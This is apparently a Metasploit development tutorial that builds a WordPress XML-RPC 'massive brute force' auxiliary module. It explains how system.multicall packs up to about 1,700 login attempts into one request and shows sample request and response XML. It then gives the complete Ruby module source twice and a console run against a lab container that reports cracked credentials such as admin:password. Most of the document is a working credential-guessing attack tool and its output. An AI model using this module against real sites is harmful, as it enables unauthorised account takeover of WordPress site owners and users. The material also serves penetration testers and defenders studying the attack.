Auxiliary module

Scanner

Basic Scanner modules

WordPress XML-RPC Massive Brute Force

WordPress CMS framework support XML-RPC service to interact with almost all functions in the framework. Some functions require authentication. The main issues lies in the you can authenticate many times within the same request. WordPress accepts about 1788 lines of XML request which allows us to send tremendous number of login tries in a single request. So how awesome is this? Let me explain.

Imagine that you have to brute force one user with 6000 passwords? How many requests you have to send in the normal brute force technique? It’s 6000 requests. Using our module will need to 4 requests only of you use the default CHUNKSIZE which is 1500 password per request!!!. NO MULTI-THREADING even you use multi-threading in the traditional brute force technique you’ll send 6000 request a few of its are parallel.

  1. <?xml version="1.0"?>
  2. <methodCall>
  3. <methodName>system.multicall</methodName>
  4. <params>
  5. <param><value><array><data>
  6. <value><struct>
  7. <member>
  8. <name>methodName</name>
  9. <value><string>wp.getUsersBlogs</string></value>
  10. </member>
  11. <member>
  12. <name>params</name><value><array><data>
  13. <value><array><data>
  14. <value><string>"USER #1"</string></value>
  15. <value><string>"PASS #1"</string></value>
  16. </data></array></value>
  17. </data></array></value>
  18. </member>
  19. ...Snippet...
  20. <value><struct>
  21. <member>
  22. <name>methodName</name>
  23. <value><string>wp.getUsersBlogs</string></value>
  24. </member>
  25. <member>
  26. <name>params</name><value><array><data>
  27. <value><array><data>
  28. <value><string>"USER #1"</string></value>
  29. <value><string>"PASS #N"</string></value>
  30. </data></array></value>
  31. </data></array></value>
  32. </member>
  33. </params>
  34. </methodCall>

So from above you can understand how the XML request will be build. Now How the reply will be?
To simplify this we’ll test a single user once with wrong password another with correct password to understand the response behavior

wrong password response

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <methodResponse>
  3. <params>
  4. <param>
  5. <value>
  6. <array>
  7. <data>
  8. <value>
  9. <struct>
  10. <member>
  11. <name>faultCode</name>
  12. <value>
  13. <int>403</int>
  14. </value>
  15. </member>
  16. <member>
  17. <name>faultString</name>
  18. <value>
  19. <string>Incorrect username or password.</string>
  20. </value>
  21. </member>
  22. </struct>
  23. </value>
  24. </data>
  25. </array>
  26. </value>
  27. </param>
  28. </params>
  29. </methodResponse>

We noticed the following

  • <name>faultCode</name>
  • <int>403</int>
  • <string>Incorrect username or password.</string>

Usually we rely one the string response ‘Incorrect username or password.‘, but what if the WordPress language wasn’t English? so the best thing is the integer response which is 403

correct password response

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <methodResponse>
  3. <params>
  4. <param>
  5. <value>
  6. <array>
  7. <data>
  8. <value>
  9. <array>
  10. <data>
  11. <value>
  12. <array>
  13. <data>
  14. <value>
  15. <struct>
  16. <member>
  17. <name>isAdmin</name>
  18. <value>
  19. <boolean>1</boolean>
  20. </value>
  21. </member>
  22. <member>
  23. <name>url</name>
  24. <value>
  25. <string>http://172.17.0.3/</string>
  26. </value>
  27. </member>
  28. <member>
  29. <name>blogid</name>
  30. <value>
  31. <string>1</string>
  32. </value>
  33. </member>
  34. <member>
  35. <name>blogName</name>
  36. <value>
  37. <string>Docker wordpress</string>
  38. </value>
  39. </member>
  40. <member>
  41. <name>xmlrpc</name>
  42. <value>
  43. <string>http://172.17.0.3/xmlrpc.php</string>
  44. </value>
  45. </member>
  46. </struct>
  47. </value>
  48. </data>
  49. </array>
  50. </value>
  51. </data>
  52. </array>
  53. </value>
  54. </data>
  55. </array>
  56. </value>
  57. </param>
  58. </params>
  59. </methodResponse>

We noticed that long reply with the result of called method wp.getUsersBlogs

Awesome, right?

The tricky part is just begun! Since we will be sending thousands of passwords in one request and the reply will be rally huge XML files, how we’ll find the position of the correct credentials? The answer is, by using the powerful ruby iteration methods, particularly each_with_index method.

Enough talking, show me the code!

What do we want?

  • Create Auxiliary module
  • Deal with Web Application
  • Deal with WordPress
  • Describe The module
  • Let people know we created this module
  • Add references about the vulnerability that we exploit
  • Options to set the target URI, port, user, pass list.
  • Read username and password lists as arrays
  • Build/Generate XML file takes a user and iterate around the passwords
  • Check if target is running WordPress
  • Check if target enabling RPC
  • Setup the HTTP with XML POST request
  • Parse XML request and response
  • Find the exact correct credentials
  • Check if we got blocked
  • Parsing the result and find which password is correct
  • Check if the module has been written correctly (msftidy.rb)

Steps

  • Create Auxiliary module
  • Deal with Web Application
  • Deal with WordPress
  • Describe The module
  • Let people know we created this module
  • Add references about the vulnerability that we exploit
  • Options to set the target URI, port, user, pass list.
  1. ##
  2. # This module requires Metasploit: http://www.metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Auxiliary
  7. include Msf::Exploit::Remote::HttpClient
  8. include Msf::Exploit::Remote::HTTP::Wordpress
  9. def initialize(info = {})
  10. super(update_info(
  11. info,
  12. 'Name' => 'WordPress XML-RPC Massive Brute Force',
  13. 'Description' => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
  14. 'License' => MSF_LICENSE,
  15. 'Author' =>
  16. [
  17. 'Sabri (@KINGSABRI)', # Module Writer
  18. 'William (WCoppola@Lares.com)' # Module Requester
  19. ],
  20. 'References' =>
  21. [
  22. ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
  23. ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
  24. ]
  25. ))
  26. register_options(
  27. [
  28. OptString.new('TARGETURI', [true, 'The base path', '/']),
  29. OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
  30. File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
  31. OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
  32. File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
  33. OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
  34. OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
  35. ], self.class)
  36. end
  37. end
  • Read username and password lists as arrays
  1. def usernames
  2. File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
  3. end
  4. def passwords
  5. File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
  6. end
  • Build/Generate XML file takes a user and iterate around the passwords
  1. #
  2. # XML Factory
  3. #
  4. def generate_xml(user)
  5. vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
  6. xml_payloads = [] # Container for all generated XMLs
  7. # Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
  8. passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
  9. document = Nokogiri::XML::Builder.new do |xml|
  10. xml.methodCall {
  11. xml.methodName("system.multicall")
  12. xml.params {
  13. xml.param {
  14. xml.value {
  15. xml.array {
  16. xml.data {
  17. pass_group.each do |pass|
  18. xml.value {
  19. xml.struct {
  20. xml.member {
  21. xml.name("methodName")
  22. xml.value { xml.string("wp.getUsersBlogs") }}
  23. xml.member {
  24. xml.name("params")
  25. xml.value {
  26. xml.array {
  27. xml.data {
  28. xml.value {
  29. xml.array {
  30. xml.data {
  31. xml.value { xml.string(user) }
  32. xml.value { xml.string(pass) }
  33. }}}}}}}}}
  34. end
  35. }}}}}}
  36. end
  37. xml_payloads << document.to_xml
  38. end
  39. vprint_status('Generating XMLs just done.')
  40. xml_payloads
  41. end
  • Check if target is running WordPress
  • Check if target enabling RPC
  1. #
  2. # Check target status
  3. #
  4. def check_wpstatus
  5. print_status("Checking #{peer} status!")
  6. if !wordpress_and_online?
  7. print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
  8. nil
  9. elsif !wordpress_xmlrpc_enabled?
  10. print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
  11. nil
  12. else
  13. print_status("Target #{peer} is running WordPress")
  14. true
  15. end
  16. end
  • Setup the HTTP with XML POST request
  1. #
  2. # Connection Setup
  3. #
  4. def send(xml)
  5. uri = target_uri.path
  6. opts =
  7. {
  8. 'method' => 'POST',
  9. 'uri' => normalize_uri(uri, wordpress_url_xmlrpc),
  10. 'data' => xml,
  11. 'ctype' =>'text/xml'
  12. }
  13. client = Rex::Proto::Http::Client.new(rhost)
  14. client.connect
  15. req = client.request_cgi(opts)
  16. res = client.send_recv(req)
  17. if res && res.code != 200
  18. print_error('It seems you got blocked!')
  19. print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
  20. sleep datastore['BLOCKEDWAIT'] * 60
  21. end
  22. @res = res
  23. end
  • Parse XML request and response
  • Find the exact correct credentials
  • Check if we got blocked
  • Parsing the result and find which password is correct
  1. def run
  2. return if check_wpstatus.nil?
  3. usernames.each do |user|
  4. passfound = false
  5. print_status("Brute forcing user: #{user}")
  6. generate_xml(user).each do |xml|
  7. next if passfound == true
  8. send(xml)
  9. # Request Parser
  10. req_xml = Nokogiri::Slop xml
  11. # Response Parser
  12. res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
  13. puts res_xml
  14. res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
  15. result = value.at("struct/member/value/int")
  16. # If response error code doesn't not exist, then it's the correct credentials!
  17. if result.nil?
  18. user = req_xml.search("data/value/array/data")[i].value[0].text.strip
  19. pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
  20. print_good("Credentials Found! #{user}:#{pass}")
  21. passfound = true
  22. end
  23. end
  24. unless user == usernames.last
  25. vprint_status('Sleeping for 2 seconds..')
  26. sleep 2
  27. end
  28. end
  29. end
  30. end

Wrapping up

  1. ##
  2. # This module requires Metasploit: http://www.metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Auxiliary
  7. include Msf::Exploit::Remote::HttpClient
  8. include Msf::Exploit::Remote::HTTP::Wordpress
  9. def initialize(info = {})
  10. super(update_info(
  11. info,
  12. 'Name' => 'WordPress XML-RPC Massive Brute Force',
  13. 'Description' => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
  14. 'License' => MSF_LICENSE,
  15. 'Author' =>
  16. [
  17. 'Sabri (@KINGSABRI)', # Module Writer
  18. 'William (WCoppola@Lares.com)' # Module Requester
  19. ],
  20. 'References' =>
  21. [
  22. ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
  23. ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
  24. ]
  25. ))
  26. register_options(
  27. [
  28. OptString.new('TARGETURI', [true, 'The base path', '/']),
  29. OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
  30. File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
  31. OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
  32. File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
  33. OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
  34. OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
  35. ], self.class)
  36. end
  37. def usernames
  38. File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
  39. end
  40. def passwords
  41. File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
  42. end
  43. #
  44. # XML Factory
  45. #
  46. def generate_xml(user)
  47. vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
  48. xml_payloads = [] # Container for all generated XMLs
  49. # Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
  50. passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
  51. document = Nokogiri::XML::Builder.new do |xml|
  52. xml.methodCall {
  53. xml.methodName("system.multicall")
  54. xml.params {
  55. xml.param {
  56. xml.value {
  57. xml.array {
  58. xml.data {
  59. pass_group.each do |pass|
  60. xml.value {
  61. xml.struct {
  62. xml.member {
  63. xml.name("methodName")
  64. xml.value { xml.string("wp.getUsersBlogs") }}
  65. xml.member {
  66. xml.name("params")
  67. xml.value {
  68. xml.array {
  69. xml.data {
  70. xml.value {
  71. xml.array {
  72. xml.data {
  73. xml.value { xml.string(user) }
  74. xml.value { xml.string(pass) }
  75. }}}}}}}}}
  76. end
  77. }}}}}}
  78. end
  79. xml_payloads << document.to_xml
  80. end
  81. vprint_status('Generating XMLs just done.')
  82. xml_payloads
  83. end
  84. #
  85. # Check target status
  86. #
  87. def check_wpstatus
  88. print_status("Checking #{peer} status!")
  89. if !wordpress_and_online?
  90. print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
  91. nil
  92. elsif !wordpress_xmlrpc_enabled?
  93. print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
  94. nil
  95. else
  96. print_status("Target #{peer} is running WordPress")
  97. true
  98. end
  99. end
  100. #
  101. # Connection Setup
  102. #
  103. def send(xml)
  104. uri = target_uri.path
  105. opts =
  106. {
  107. 'method' => 'POST',
  108. 'uri' => normalize_uri(uri, wordpress_url_xmlrpc),
  109. 'data' => xml,
  110. 'ctype' =>'text/xml'
  111. }
  112. client = Rex::Proto::Http::Client.new(rhost)
  113. client.connect
  114. req = client.request_cgi(opts)
  115. res = client.send_recv(req)
  116. if res && res.code != 200
  117. print_error('It seems you got blocked!')
  118. print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
  119. sleep datastore['BLOCKEDWAIT'] * 60
  120. end
  121. @res = res
  122. end
  123. def run
  124. return if check_wpstatus.nil?
  125. usernames.each do |user|
  126. passfound = false
  127. print_status("Brute forcing user: #{user}")
  128. generate_xml(user).each do |xml|
  129. next if passfound == true
  130. send(xml)
  131. # Request Parser
  132. req_xml = Nokogiri::Slop xml
  133. # Response Parser
  134. res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
  135. puts res_xml
  136. res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
  137. result = value.at("struct/member/value/int")
  138. # If response error code doesn't not exist
  139. if result.nil?
  140. user = req_xml.search("data/value/array/data")[i].value[0].text.strip
  141. pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
  142. print_good("Credentials Found! #{user}:#{pass}")
  143. passfound = true
  144. end
  145. end
  146. unless user == usernames.last
  147. vprint_status('Sleeping for 2 seconds..')
  148. sleep 2
  149. end
  150. end end end
  151. end
  • Check if the module has been written correctly (msftidy.rb)
  1. metasploit-framework/tools/dev/msftidy.rb wordpress_xmlrpc_massive_bruteforce.rb

Run it

  1. msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > show options
  2. Module options (auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce):
  3. Name Current Setting Required Description
  4. ---- --------------- -------- -----------
  5. BLOCKEDWAIT 6 yes Time(minutes) to wait if got blocked
  6. CHUNKSIZE 1500 yes Number of passwords need to be sent per request. (1700 is the max)
  7. Proxies no A proxy chain of format type:host:port[,type:host:port][...]
  8. RHOST 172.17.0.3 yes The target address
  9. RPORT 80 yes The target port
  10. TARGETURI / yes The base path
  11. VHOST no HTTP server virtual host
  12. WPPASS_FILE /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_pass.txt yes File containing passwords, one per line
  13. WPUSER_FILE /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_users.txt yes File containing usernames, one per line
  14. msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > run
  15. [*] Checking 172.17.0.3:80 status!
  16. [*] Target 172.17.0.3:80 is running WordPress
  17. [*] Brute forcing user: admin
  18. [+] Credentials Found! admin:password
  19. [*] Brute forcing user: manager
  20. [*] Brute forcing user: root
  21. [*] Brute forcing user: cisco
  22. [*] Brute forcing user: apc
  23. [*] Brute forcing user: pass
  24. [*] Brute forcing user: security
  25. [*] Brute forcing user: user
  26. [*] Brute forcing user: system
  27. [+] Credentials Found! system:root
  28. [*] Brute forcing user: sys
  29. [*] Brute forcing user: wampp
  30. [*] Brute forcing user: newuser
  31. [*] Brute forcing user: xampp-dav-unsecure
  32. [*] Auxiliary module execution completed